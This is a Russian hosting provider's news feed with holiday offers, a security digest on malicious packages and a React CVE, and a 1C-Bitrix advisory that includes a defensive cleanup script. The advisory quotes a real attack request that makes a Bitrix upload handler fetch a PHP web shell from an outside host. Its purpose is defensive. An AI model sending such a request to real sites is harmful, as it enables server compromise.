Рейтинг
0.00

FirstVDS Хостинг

14 читателей, 500 топиков

Новый год уже мчится!



Уже совсем скоро загорятся огоньки гирлянд, оливье появится на праздничных столах, а самые важные желания будут загаданы под бой курантов.

И мы решили сделать ожидание праздника немного приятнее.

29 декабря в 10:00 по мск у нас стартует новогодняя акция.

В программе: скидки на аренду VDS и сертификаты на 150 рублей для постоянных клиентов.

Подробности раскроем ближе к запуску — следите за новостями, чтобы ничего не пропустить.

https://firstvds.ru

Новогодний режим работы



С наступающим Новым годом!

До финального релиза года — всего пара рабочих дней, и система уйдёт в режим длинных выходных. Пока вы настраиваете гирлянды, тестируете оливье и обновляете настроение до праздничной версии, мы расскажем, как будет работать команда FirstVDS в новогодние праздники.

График работы отделов в новогодние праздники:
  • Пчёлки из техподдержки будут, как и раньше, трудиться 24/7 — все запросы клиентов будут обрабатываться в стандартном режиме.
  • А вот отделу продаж и отделу финансов повезло больше — с 31 декабря по 11 января им достался сокращённый режим, поэтому время ответа на запрос в эти отделы может увеличиться.

Ещё важная информация:
  • Банковские переводы в новогоднее время могут идти дольше, чем обычно. Рекомендуем проверить баланс и заранее пополнить счёт, чтобы не беспокоиться об этом в праздники.
  • Также вы можете настроить автоплатёж — когда на счету не будет хватать средств, он автоматически пополнится с привязанной карты.
  • До 29 декабря получайте кешбэк 10% при пополнении баланса на рекомендуемую сумму и выше.

Декабрь — свежие техногайды, предновогодний кэшбек и немного наших итогов за 2025

Неделя до Нового года — время грандиозных планов: пет-проект, блог, спортзал. Кажется, вот шанс стать новой, продуктивной версией себя!

Но эти планы часто остаются лишь списком — ведь они рождаются на излёте сил, когда организм просит отдыха, а не новых свершений. Поэтому единственный рывок, который всем нам жизненно необходим прямо сейчас, — к дивану, на марафон по «Гарри Поттеру» с мандаринами и оливье.



А пока время длинных праздников не пришло, предлагаем сделать передышку в череде рабочих задач и прочитать наш декабрьский дайджест. В нём — познавательные материалы, интересные факты и подарок от Деда Мороза.

Дайджест новогодний, поэтому в конце вас ждёт немного итогов: предлагаем вместе вспомнить самые важные события уходящего года.

Статьи и инструкции
Запуск и настройка Django-проекта на Ubuntu
Django — высокоуровневый веб-фреймворк для создания сайтов. Для стабильной работы рабочего проекта необходим надёжный стек, например, связка MariaDB, Gunicorn и Nginx. Эта инструкция шаг за шагом поможет развернуть и настроить такую среду на Ubuntu — от установки базы данных до запуска приложения.
firstvds.ru/technology/zapusk-i-nastroyka-django-na-ubuntu
PostgreSQL-триггеры: создание, изменение и удаление с примерами
PostgreSQL-триггеры — это хранимые процедуры, которые выполняются до, после или вместо определенной операции. Делимся опытом, как использовать этот механизм при проектировании БД.
firstvds.ru/technology/postgresql-triggery-sozdanie-izmenenie-i-udalenie-s-primerami

Habr: самое интересное за декабрь
Праздничный сюрприз, который точно никому не нужен, — это взлом системы. На Хабре рассказываем о неочевидных рисках: уязвимостях в WordPress, атаках на Active Directory и скрытых угрозах IPv6.
Если захочется творчества, налейте чашку какао, возьмите имбирное печенье и откройте руководство по OpenAPI — будем учиться создавать чёткую документацию для API. А для лёгкого чтения припасли любопытное исследование, которое ответит, пожалуй, на один из самых важных вопросов 2025 года: правда ли, что ИИ-модели уже приблизились к уровню человека и могут легко выполнять его рабочие задачи?

Ищем авторов для блога на Хабр
Подготовьте статью на одну из специальных тем или отправьте материал на тему месяца. И если ваша статья подойдёт для блога, вы получите повышенный гонорар.
Тема января: софт.
firstvds.ru/avtoram

Новости декабря
Дед Мороз кешбэк принес

Чтобы сделать предпраздничные дни приятнее, подготовили специальное предложение: с 17 по 29 декабря начисляем кешбэк 10% при пополнении баланса на рекомендуемую сумму и выше. Узнать её можно в форме пополнения на сайте или в Личном кабинете.
firstvds.ru/actions/ded-moroz-keshbek

Переехали в новый ЦОД в Нидерландах

Открыли новую площадку в Амстердаме — ЦОД Qupra DC2. Это дата-центр с 30-летней историей, построенный по стандартам отказоустойчивости и безопасности. Подробнее о новом дата-центре рассказывали здесь.
Все серверы из euNetworks уже бесшовно перенесены в новый дата-центр. Стоимость аренды не изменилась, все услуги работают в штатном режиме.
firstvds.ru/products/vps_vds_netherlands

Новости из мира технологий и безопасности
Декабрь выдался довольно спокойным месяцем с точки зрения кибербезопасности. Но всё-таки не обошлось без пары серьёзных уязвимостей:
  • В первой половине декабря в трёх ключевых экосистемах — npm, crates io и React — были выявлены критические инциденты. Что произошло и как защититься от атак — в подборке.
  • Наша техподдержка обнаружила участившиеся случаи несанкционированных регистраций через демо-компоненты 1С-Битрикс, что может создать избыточную нагрузку на сайт. Какие меры предпринять, рассказываем в нашем материале.

В репозитории crates.io обнаружены сразу четыре вредоносных пакета
В репозитории crates.io были обнаружены вредоносные пакеты Rust: evm-units и uniswap-utils (нацелены на кражу криптовалюты), а также sha-rust и finch-rust (собирали конфиденциальные данные). Они маскировались под легитимные инструменты и успели набрать тысячи загрузок.
Как работает атака:
При вызове функции get_evm_version() пакет evm-units/uniswap-utils обращается к внешнему серверу и загружает скрипт (init в Linux/macOS или init.ps1 в Windows) для выполнения вредоносных действий.
Пакет finch-rust добавляет вызов sha_rust::from_str(), которая отправляет на удалённый сервер данные системы, переменные окружения и файлы с токенами (например, .env, config.toml). Пакет finch-rust также является тайпсквоттинг-атакой, имитируя легитимный пакет finch.
Как защититься:
Тщательно проверяйте названия пакетов и их зависимости перед установкой.
Обращайте внимание на подозрительные функции, которые могут обращаться к внешним ресурсам.
Регулярно обновляйте зависимости и используйте инструменты для сканирования пакетов на наличие уязвимостей.
Для защиты от тайпсквоттинга используйте точные названия пакетов при добавлении в проект.
www.opennet.ru/opennews/art.shtml?num=64394

Критическая брешь в React, которая позволяет выполнять произвольный код на сервере
В экспериментальных серверных компонентах React (RSC) была обнаружена критическая уязвимость CVE-2025-55182 с наивысшим уровнем опасности (10 из 10), позволявшая выполнить произвольный код на сервере. Она затрагивала пакеты react-server-dom-webpack, react-server-dom-parcel и react-server-dom-turbopack, а также фреймворки Next.js (отдельная уязвимость CVE-2025-66478) и React Router в экспериментальном режиме RSC. Стоит отметить, что эти компоненты используются относительно редко, поэтому большинство React-приложений не были уязвимы.
Уязвимость была вызвана небезопасной десериализацией данных в HTTP-запросах к серверным обработчикам. Атакующий мог отправить специально сформированный запрос, который позволял использовать свойства прототипа для выполнения команд ОС, JavaScript-кода или доступа к файловой системе. Для атаки не требовалась аутентификация. Исследователи подтвердили принцип эксплуатации и опубликовали рабочие эксплойты.
Чтобы устранить риск, необходимо обновить React до версий 19.0.1, 19.1.2 или 19.2.1, а Next.js — до 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7.
www.opennet.ru/opennews/art.shtml?num=64373

Анализ атаки Shai-Hulud 2: отчёт компании Wiz
Компания Wiz опубликовала анализ деятельности червя Shai-Hulud 2. В ходе активности вредоноса злоумышленникам удалось опубликовать вредоносные версии более 800 пакетов, которые были загружены свыше 100 миллионов раз. После установки на машину разработчика такой пакет активирует червя, который начинает поиск конфиденциальных данных — токенов доступа, ключей и переменных окружения. Обнаружив токен для публикации в npm, червь использует его для выпуска новых вредоносных пакетов, самораспространяясь. Подробнее об атаке мы рассказывали здесь.
Самое важное из отчёта:
Червь создал на GitHub свыше 30 тысяч репозиториев с украденной информацией. В них чаще всего встречались файлы environment.json (80%), contents.json (70%) и truffleSecrets.json (50%), содержащие ключи доступа, пароли и переменные окружения с поражённых систем. Также было найдено около 400 файлов actionsSecrets.json с ключами от окружений GitHub Actions.
Анализ содержимого показал, что в файлах contents.json содержалось более 500 уникальных токенов доступа к GitHub. В truffleSecrets.json было выявлено свыше 400 тысяч уникальных записей, собранных утилитой TruffleHog (верифицировано около 2,5% из них). Большая часть данных остаётся актуальной: например, 60% из перехваченных токенов npm всё ещё действуют, что создаёт основу для новых атак.
Статистика по окружению показывает, что в 77% случаев червь запускался в средах непрерывной интеграции (CI), прежде всего в GitHub Actions (60%). На компьютерах разработчиков зафиксировано 23% запусков. В 87% инцидентов использовалась ОС Linux. Большинство запусков (76%) происходило в контейнерах.
Основными векторами заражения стали пакеты @postman/tunnel-agent-0.6.7 и @asyncapi/specs-6.8.3, на которые пришлось 60% всех инфицирований. В 99% случаев активация происходила через выполнение скрипта «node setup_bun.js», прописанного в секции preinstall файла package.json.
Напоминаем, как можно защитить свои системы:
  • просканировать все конечные точки на наличие заражённых пакетов и немедленно удалить их;
  • обновить все учётные данные и проверить репозитории на наличие подозрительных файлов workflow, таких как shai-hulud-workflow.yml;
  • внимательно следить за необычными ветками и действиями в .github/workflows для выявления скрытого заражения.
www.opennet.ru/opennews/art.shtml?num=64377

Как мы работали в 2025 году
Пока готовили дайджест, оглянулись на прошедший год и захотелось поделиться с вами тем, что у нас получилось сделать.

  • 2025 был годом развития: мы внедряли новые услуги, открывали новые локации и улучшали железо. Ниже — краткий обзор всех главных продуктовых обновлений.
  • Запустили объектное хранилище S3 для больших объёмов данных (бэкапов, контента, логов и сайтов) с удобной панелью управления.
  • Представили VDS c GPU на видеокартах NVIDIA RTX 4090, L4 и L40S — решение для ресурсоёмких задач: работы с нейросетями и машинным обучением, 3D-моделирования, рендеринга и обработки видео.
  • Чтобы вы меньше волновались о работе своей инфраструктуры, запустили статус-панель: она позволяет следить за состоянием серверов в режиме реального времени. Если что-то упадёт, вы сможете сразу понять — это локальная неисправность или масштабный инцидент.
  • А для защиты проектов от внешних угроз добавили BitNinja — комплексное решение от кибератак: SQL-инъекций, DDoS, спама и взлома.
  • В 2025 география FirstVDS стала шире. Открыли новую локацию в Алматы: можно арендовать сервер в дата-центре Ahost.kz. А в Москве и Амстердаме апгрейднули железо: теперь серверы в тарифах Форсаж и Атлант открываются не только на AMD EPYC 9654, но и на новом серверном процессоре AMD EPYC 9655.

В маркетинге тоже не скучали. Вместе с вами мы провели десятки активностей и подготовили десятки материалов — делились опытом, помогали находить решения и вдохновляли на новые проекты.



Спасибо, что в 2025 году были с нами. Впереди — 2026, и у нас уже много идей. Давайте поддерживать контакт и поздравляем вас с наступающими праздниками!

Настало время финального танца



Сегодня прозвучит финальный аккорд нашей праздничной акции.

Ровно в 23:59 по мск мы закроем танцпол, а это значит, что:
  • перестанет действовать промокод на скидку 30% на новые VDS,
  • больше нельзя будет увеличивать свои шансы на победу в розыгрыше,
  • закроется продажа лимитированных тарифов «DISCO» и «TECHNO».

Что важно сделать до этого момента:
  • Проверить свои шансы в «гримёрке» и успеть их повысить.
  • Заказать один из лимитированных тарифов (если ещё не успели).
Завтра, 23 декабря в 12:00 по мск, мы проведём прямой эфир в нашем тг-канале и разыграем MacBook, iPhone, AirPods и сертификаты на пополнение баланса аккаунта.

Время на последний танец ещё есть. Используйте его с умом!

firstvds.ru/actions/lets_dance
https://firstvds.ru

Сложности с доступом к Личному кабинету у некоторых клиентов



В последние недели мы фиксируем рост числа обращений от пользователей, которые испытывают сложности с доступом к Личному кабинету my.firstvds.ru

Проблема проявляется у некоторых абонентов разных интернет-провайдеров, включая мобильные, домашние и корпоративные сети, независимо от типа устройства или операционной системы.

Наши системы мониторинга и журналы доступа показывают, что инфраструктура сервиса работает штатно. Сбоев или ограничений на стороне FirstVDS не зафиксировано.

В чём может быть проблема
Мы проанализировали обращения и характерные сетевые симптомы и определили, что ограничения могут возникать из-за работы внешних систем фильтрации трафика, которые используют некоторые операторы связи.

В ряде случаев блокировка происходит не по IP-адресу ресурса, а на основании анализа сетевого трафика. На оборудовании глубокой инспекции пакетов (DPI) анализ может выполняться внутри зашифрованных HTTPS / SSL / TLS-сессий, в том числе по признакам, характерным для протоколов или туннелей, мимикрирующих под обычный HTTPS-трафик.

Ограничения могут проявляться в виде:
  • обрывов TLS-соединения на этапе установки сессии;
  • отсутствия ответа сервера после отправки Client Hello;
  • длительных таймаутов без установления защищённого соединения.
Данное поведение не связано с работоспособностью сервиса, серверной инфраструктуры или сетевых ресурсов компании и находится вне зоны нашего контроля.

Для быстрой проверки рекомендуем:
  • открыть Личный кабинет, используя мобильный интернет другого оператора;
  • подключиться к другой сети (например, к домашнему Wi-Fi вместо корпоративного);
  • проверить доступ с другого устройства.
При смене интернет-провайдера, типа подключения или маршрута передачи данных меняются сетевые параметры соединения. В результате трафик может перестать подпадать под правила фильтрации, и доступ к сервису восстанавливается.

Если вы наблюдаете данные симптомы, то это подтверждает, что проблема на уровне фильтрации вашего интернет-провайдера.

Что можно сделать сейчас
В качестве временных решений рекомендуем:
  • Использовать альтернативное подключение, если есть такая возможность.
  • Обратиться в техническую поддержку вашего провайдера и сообщить о проблеме. Обращения позволяют операторам быстрее выявлять и устранять подобные ошибки фильтрации.
Пример обращения к провайдеру:
Прошу зарегистрировать инцидент: отсутствует доступ к ресурсу my.firstvds.ru. Сайт открывается через сети других операторов, но недоступен через вашу сеть. Прошу проверить корректность фильтрации и маршрутизации трафика до указанного ресурса.

Что делаем мы
Мы фиксируем все обращения, связанные с проблемами доступа в Личный кабинет, анализируем сетевые симптомы и взаимодействуем с профильными организациями, чтобы в будущем исключить проблемы. Спасибо за понимание.

Если вы хотите помочь нам быстрее разобраться в ситуации
При обращении в поддержку, пожалуйста, по возможности частично или полностью укажите следующую информацию:
Регион и город, из которого осуществляется подключение.
Интернет-провайдер (название компании).
Тип подключения:
  • мобильный интернет,
  • домашний интернет,
  • корпоративная сеть.
Внешний IP-адрес вашего подключения
(его можно определить на сайтах 2ip.ru или myip.ru).
Какие ресурсы недоступны:
  • Личный кабинет (my.firstvds.ru),
  • основной сайт
  • другие сервисы FirstVDS
Меняется ли ситуация при подключении через другую сеть
(например, мобильный интернет вместо Wi-Fi, VPN).
Примерное время и дата, когда проблема наблюдалась.
Результат MTR до my.firstvds.ru (если есть возможность)

Обратите внимание:
  • ICMP-запросы к биллингу могут быть недоступны — это нормально;
  • для диагностики предпочтительно использовать TCP MTR на порт 443;
  • если MTR обрывается или показывает потери на промежуточных узлах — это также полезная информация.
Если Личный кабинет для создания тикета недоступен, воспользуйтесь чатом на сайте.

https://firstvds.ru

Серверы с локацией Нидерланды теперь будут размещаться в дата-центре Qupra DC2



Все серверы, расположенные в euNetworks, перенесены в новый дата-центр Qupra DC2 в Амстердаме. Услуги работают штатно, стоимость аренды не изменилась.

Открываем новую площадку в Амстердаме — Qupra DC2.

Qupra — надёжный оператор с 30-летним опытом работы. ЦОД спроектирован в соответствии с высокими стандартами безопасности, оснащён резервированными системами электроснабжения и кондиционирования. Подробнее о преимуществах новой площадки рассказали здесь.

Все серверы, расположенные в euNetworks, перенесли в новый дата-центр. Миграция прошла бесшовно: стоимость аренды серверов не изменилась, а все услуги работают в штатном режиме.

https://firstvds.ru

Риск DOS-атак на 1C-Битрикс: удалите демо-компоненты



За последнюю неделю наша техническая поддержка фиксирует участившиеся попытки несанкционированно регистрировать новых пользователей через демо-компоненты 1С-Битрикс.

Что такое «демо-компоненты». Это тестовый набор информации (пользователи, товары, статьи), который система устанавливает «из коробки», чтобы сразу показать свои возможности. Вендор требует удалять все установочные и демо-компоненты, внимательно настраивать опции самостоятельной регистрации пользователей при запуске реального сайта.

Впервые о проблеме заговорили более двух лет назад. Некорректная настройка системы позволяет злоумышленнику зарегистрироваться на сайте под видом обычного пользователя, даже если администратор полностью отключил публичную регистрацию в настройках. Это происходит из-за неудаленной демо-формы с возможностью самостоятельной регистрации пользователя.

Если в вашей админ-панели постоянно добавляются пользователи с логином bitrixsupport_, возможно, ваш проект настроен неправильно.

Как это работает
Злоумышленник пользуется тем, что администратор не отключил самостоятельную регистрацию пользователей. Он создаёт фейковые учётные записи с именами, начинающимися на bitrixsupport_, чтобы маскировать их под технические. А затем использует их для создания избыточной нагрузки. Проблема временно устраняется только после полной перезагрузки сервера или веб-сервера.

После успешной регистрации пользователи bitrixsupport_ выполняют запросы вида:
POST /bitrix/tools/landing/ajax.php?action=Site::uploadFile

с нагрузкой
data[picture]=http://sql.bling.org/bx/<ваш_домен>.<ru>_xx/.description.php

в попытке загрузить php-шелл на сервер.

Нам попадались случаи, где такой запрос провоцировал DOS, но это не приводило к загрузке веб-шелла.

Попытка выполнения запроса от пользователя без регистрации приводит к ошибке «Недостаточно прав», и такое соединение сразу же закрывается в отличие от запросов пользователей bitrixsupport_.

DOS-атака может задевать apache веб-сервер, тогда сайт начинает отдавать 504 ошибку (Gateway Timeout) или MySQL начинает отдавать ошибку Error 1040: Too Many Connections.

Что нужно сделать
Удалите ненужных пользователей с префиксом bitrixsupport_.
Запомните: «1С-Битрикс» никогда не создает на ваших сайтах или в Битрикс24 неизвестные учётные записи. Такие аккаунты могут появиться только по вашей инициативе или в результате действий злоумышленника.

Как удалить. Перейдите в административную панель 1С-Битрикс по адресу:

/bitrix/admin/user_admin.php

Найдите и удалите всех пользователей с префиксом bitrixsupport_— это не системные аккаунты, они не нужны и небезопасны.

Обновите 1С-Битрикс до последней версии.
Выполните перезапуск сервера или веб-сервера Apache/Nginx, чтобы очистить соединения и завершить сессии.
Для дополнительной безопасности ограничьте доступ к формам регистрации.
Для автоматизации администратор может использовать скрипт, который сделает всё автоматически.
#!/bin/bash

# Bitrix Reg Security Fix v.0.0.5 beta - защита от уязвимости регистрации
# 1. .htaccess - блокирует регистрацию пользовталей в ядре 1С Битрикс через демо-скрипты Bitrix
# 2. MySQL - удаляет пользователей bitrixsupport_* с подтверждением
# 3. nginx - блокирует все ?register=yes запросы с подтверждением
#            может сломать некоторые скрипты на сайте
#            перед использованием нужно проконсультироваться с разработчиком
#
# Автоматически определяет Bitrix Env, Docker, ISP Manager, проверяет nginx синтаксис до и после правок
# Применение скрипта на свой страх и риск
#
# Дебаг
# set -x -v

red="$(tput setaf 1)$(tput bold)"
green="$(tput setaf 2)$(tput bold)"
reset="$(tput sgr0)"

# show script version
self_current_version="Bitrix Reg Security Fix v.0.0.5 beta"
printf "\n${green}$self_current_version\n${reset}"

# check privileges
if [[ $EUID -ne 0 ]]; then
	printf "\n${red}ERROR${reset} - This script must be run as root" 
	exit 1
fi

# one instance run lock
LOCKFILE=/tmp/bitrix_reg_fix.lock
exec 9>$LOCKFILE

if ! flock -n 9; then
    echo
    if command -v lsof >/dev/null 2>&1; then
        PID=$(lsof -t "$LOCKFILE" 2>/dev/null | grep -v "^$$\$" | head -n1)
        printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID"
    elif command -v fuser >/dev/null 2>&1; then
        PID=$(fuser "$LOCKFILE" 2>/dev/null | tr ' ' '\n' | grep -v "^$$\$" | head -n1)
        printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID"
    else
        printf "%s ${red}already exists${reset}\n\nInstall 'lsof -t' or 'fuser' to see the PID.\n" "$LOCKFILE"
    fi
    exit 1
fi

trap 'exec 9>&-; rm -f "$LOCKFILE"' EXIT

bitrix_fix_reg_paths () {
    echo
    if ! command -v nginx &> /dev/null; then
        echo "${red}ERROR.${reset} Nginx was not found"
        return 1
    fi

    echo "${green}Checking nginx paths${reset}" && echo

    htaccess_directives=("Order allow,deny" "Deny from all")
    
    # Define relative paths to check/create .htaccess files
    rel_paths=(bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess \
               bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess)
    
    # Find all nginx root directives (standard root)
    mapfile -t roots < <(grep -RhoP '^\s*root\s+"?\K[^";]+' /etc/nginx | tr -d '"' | sort -u)
    
    # Find all nginx root_path directives (set $root_path)
    mapfile -t root_paths < <(grep -RiIn "root_path " /etc/nginx | grep -oP 'set \$\w+\s+\K[^;]+' | tr -d ';' | tr -d '"' | sort -u)
    
    # Combine both types of paths
    all_paths=("${roots[@]}" "${root_paths[@]}")
    
    # Remove duplicates while preserving order
    declare -A seen
    unique_paths=()
    for path in "${all_paths[@]}"; do
        if [[ ! "${seen[$path]}" ]]; then
            seen["$path"]=1
            unique_paths+=("$path")
        fi
    done
    
    targets=()
    
    for root in "${unique_paths[@]}"
    do
        # Clean up path (remove trailing spaces/special characters)
        root=$(echo "$root" | xargs)
        
        for rel in "${rel_paths[@]}"
        do
            f="$root/$rel"
            d="$(dirname "$f")"
            
            # Check if directory exists
            if [ -d "$d" ]; then
                if [ -f "$f" ]; then
                    all_directives_exist=true
                    for directive in "${htaccess_directives[@]}"; do
                        if ! grep -q "^[[:space:]]*$directive" "$f"; then
                            all_directives_exist=false
                            break
                        fi
                    done
                    
                    if [ "$all_directives_exist" = false ]; then
                        printf '[DRY-RUN] would update: %s %s(file exists and will be updated)%s\n' "$f" "$green" "$reset"
                        targets+=("$f")
                    fi
                else
                    printf '[DRY-RUN] would create: %s %s(not exist, will be created)%s\n' "$f" "$green" "$reset"
                    targets+=("$f")
                fi
            fi
        done
    done
    
    [ "${#targets[@]}" -ne 0 ] && {
        printf '\nApply changes? [Y/n]: '
        read -r ans
        case "${ans:-Y}" in
            Y | y)
                for f in "${targets[@]}"
                do
                    if [ -f "$f" ]; then
                        temp_file="$(mktemp)"
                        printf "Order allow,deny\nDeny from all\n\n" > "$temp_file"
                        \cat "$f" >> "$temp_file"
                        temp_result="$(mktemp)"
                        \head -n 2 "$temp_file" > "$temp_result"
                        \tail -n +3 "$temp_file" | \
                        \grep -v "^[[:space:]]*Order allow,deny$" | \
                        \grep -v "^[[:space:]]*Deny from all$" >> "$temp_result"
                        \mv -f "$temp_result" "$f"
                        \rm -f "$temp_file"
                        printf '[OK] updated: %s\n' "$f"
                    else
                        mkdir -p "$(dirname "$f")"
                        printf "Order allow,deny\nDeny from all\n\n" > "$f"
                        printf '[OK] created: %s\n' "$f"
                    fi
                done
            ;;
            *)
                printf 'Aborted\n'
            ;;
        esac
    } || printf "${green}No Bitrix paths found in nginx that need updating${reset}\n"
}

mysql_all_db_del_bitrixsupport () {
	echo

	found_any=0
	mysql_accessible=0

	check_mysql_connection() {
		local container_id="$1"
		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e "SELECT 1;" &>/dev/null
		else
			mysql -e "SELECT 1;" &>/dev/null
		fi
	}

	process_deletion_confirm() {
		local db="$1"
		local container_id="$2"
		local container_image="$3"

		echo -e "${red}Found bitrixsupport_% users${reset}\nDatabase: $db\nContainer: ${container_image:-local} (${container_id:-host})\n"

		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null
		else
			mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null
		fi

		echo
		read -r -p "Delete these users from $db? [Y/n] " yn </dev/tty
		yn=${yn:-Y}

		if [[ "$yn" =~ ^[Yy]$ ]]; then
			if [[ -n "$container_id" ]]; then
				docker exec "$container_id" mysql -N -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			else
				mysql -N -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			fi

			if [[ -n "$container_id" ]]; then
				remaining=$(docker exec "$container_id" mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			else
				remaining=$(mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			fi

			if [[ "$remaining" -eq 0 ]]; then
				echo -e "${green}No remaining bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})${reset}"
				echo
			else
				echo -e "${red}Users still exist in $db${reset}"
				echo
			fi
		else
			echo "Skipping deletion for bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})"
			echo
		fi
	}

	# Docker MySQL
	if command -v docker &>/dev/null; then
		while read -r id image; do
			echo "$image" | grep -qiE 'percona|mysql|mariadb' || continue

			check_mysql_connection "$id" || {
				echo "${red}ERROR.${reset} Cannot connect to MySQL in container $image ($id)"
				continue
			}

			mysql_accessible=1

			dbs=$(docker exec "$id" mysql -N -e "SHOW DATABASES" 2>/dev/null | \
			      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

			while read -r db; do
				[[ -z "$db" ]] && continue

				docker exec "$id" mysql -N -e \
				"USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

				users=$(docker exec "$id" mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

				if [[ "$users" -gt 0 ]]; then
					found_any=1
					process_deletion_confirm "$db" "$id" "$image"
				fi
			done <<< "$dbs"
		done < <(docker ps --format '{{.ID}} {{.Image}}')
	fi

	# Local MySQL
	if command -v mysql &>/dev/null; then
		check_mysql_connection "" || {
			echo "${red}ERROR.${reset} Cannot connect to local MySQL"
			return
		}

		mysql_accessible=1
		dbs=$(mysql -N -e "SHOW DATABASES" 2>/dev/null | \
		      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

		while read -r db; do
			[[ -z "$db" ]] && continue

			mysql -N -e "USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

			users=$(mysql -N -e \
			"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

			if [[ "$users" -gt 0 ]]; then
				found_any=1
				process_deletion_confirm "$db" "" ""
			fi
		done <<< "$dbs"
	fi

	[[ $found_any -eq 0 && $mysql_accessible -eq 1 ]] && \
	echo -e "${green}Users like bitrixsupport_% were not found in any MySQL DBs${reset}"
}

block_all_register_in_nginx () {
    echo
    CONF_FILE="/etc/nginx/bx/conf/bitrix.conf"
    DENY_CODE='# Deny 1C site user registration \nif ($arg_register = "yes") {\n  return 403;\n}\n'
    MGR_BIN="/usr/local/mgr5/sbin/mgrctl"
    
    function check_nginx ()
    {
        nginx -t &> /dev/null
    }
    
    function apply_fix ()
    {
        local target_file="$1" config_type="$2"
        
        # Check if fix already applied
        grep -Eq '^[[:space:]]*if[[:space:]]*\(\$arg_register[[:space:]]*=[[:space:]]*"yes"\)' "$target_file" 2> /dev/null && {
            echo "${green}\"?register=yes\" URL arguments already blocked in $target_file${reset}"
            return 0
        }
        
        echo "${red}DANGEROUS. Check with the developer first${reset}"
        read -rp "Block all \"?register=yes\" URL arguments globally in nginx? [y/N]: " answer
        answer=${answer:-N}
        [[ ! "$answer" =~ ^[Yy]$ ]] && return 1
        
        if [[ "$config_type" == "direct" ]]
        then
            # Direct modification of nginx config
            check_nginx || {
                echo "${red}nginx -t failed before fix${reset}"
                return 1
            }
            \cp -f "$target_file" "$target_file.bak"
            echo -e "$DENY_CODE" > "$target_file.tmp"
            cat "$target_file.bak" >> "$target_file.tmp"
            \mv -f "$target_file.tmp" "$target_file"
        else
            # Create include file for ISP Manager
            echo -e "$DENY_CODE" > "$target_file"
        fi
        
        if check_nginx && systemctl restart nginx
        then
            echo -e "${green}All \"?register=yes\" URL arguments successfully blocked in $target_file${reset}\nNginx restarted successfully"
            [[ "$config_type" == "direct" ]] && \rm -f "$target_file.bak"
            return 0
        else
            echo "${red}nginx -t failed after fix${reset}"
            [[ "$config_type" == "direct" ]] && \mv -f "$target_file.bak" "$target_file" || \rm -f "$target_file"
            check_nginx && echo "${green}Reverting success. No changes was made.${reset}" || \
                echo "${red}Nginx configtest error. Check nginx -t manually.${reset}"
            return 1
        fi
    }
    
    # Main logic: apply fix based on environment
    if [[ -f "$CONF_FILE" ]]
    then
        apply_fix "$CONF_FILE" "direct"
    else
        if [[ -x "$MGR_BIN" ]]
        then
            apply_fix "/etc/nginx/vhosts-includes/bitrix_reg_global_deny.conf" "include"
        else
            echo "${red}No /etc/nginx/bx/conf/bitrix.conf or ISP Manager were found. Cannot apply fix.${reset}"
            return 1
        fi
    fi
}

# Execute all three security fixes
bitrix_fix_reg_paths
mysql_all_db_del_bitrixsupport
block_all_register_in_nginx


Как ограничить регистрацию на демо-страницах
Если регистрация пользователей на сайте не требуется, добавьте следующий блок в начало файла /etc/nginx/bx/conf/bitrix.conf:
#Deny 1C site user registration
if ($arg_register = "yes") {
    return 403;
}

Если регистрация в целом нужна, но нужно закрыть устаревшие формы:

Добавьте файлы .htaccess со следующим содержимым:
Order allow,deny
Deny from all

Добавьте их в директории (только если они существуют):
bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess
bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess

Рекомендуем проверить ваш проект как можно скорее.

Дед Мороз кешбэк принес!



Дед Мороз заглянул к вам заранее и принес подарок: с ним услуги точно не остановятся в самый неподходящий момент.

С 17 по 29 декабря при пополнении баланса от рекомендуемой суммы и выше вы получите кешбэк 10%.

Рекомендованную сумму можно узнать в форме пополнения на сайте или в Личном кабинете — мы уже всё подсказали. Пополнять баланс можно любым удобным способом, ограничений по количеству платежей нет.

Условия акции
  • Срок проведения акции — с 17 декабря 10:00 (мск) по 29 декабря 23:59 (мск).
  • Для получения кешбэка у пользователя должен быть минимум один VDS в статусе «активен» или «остановлен».
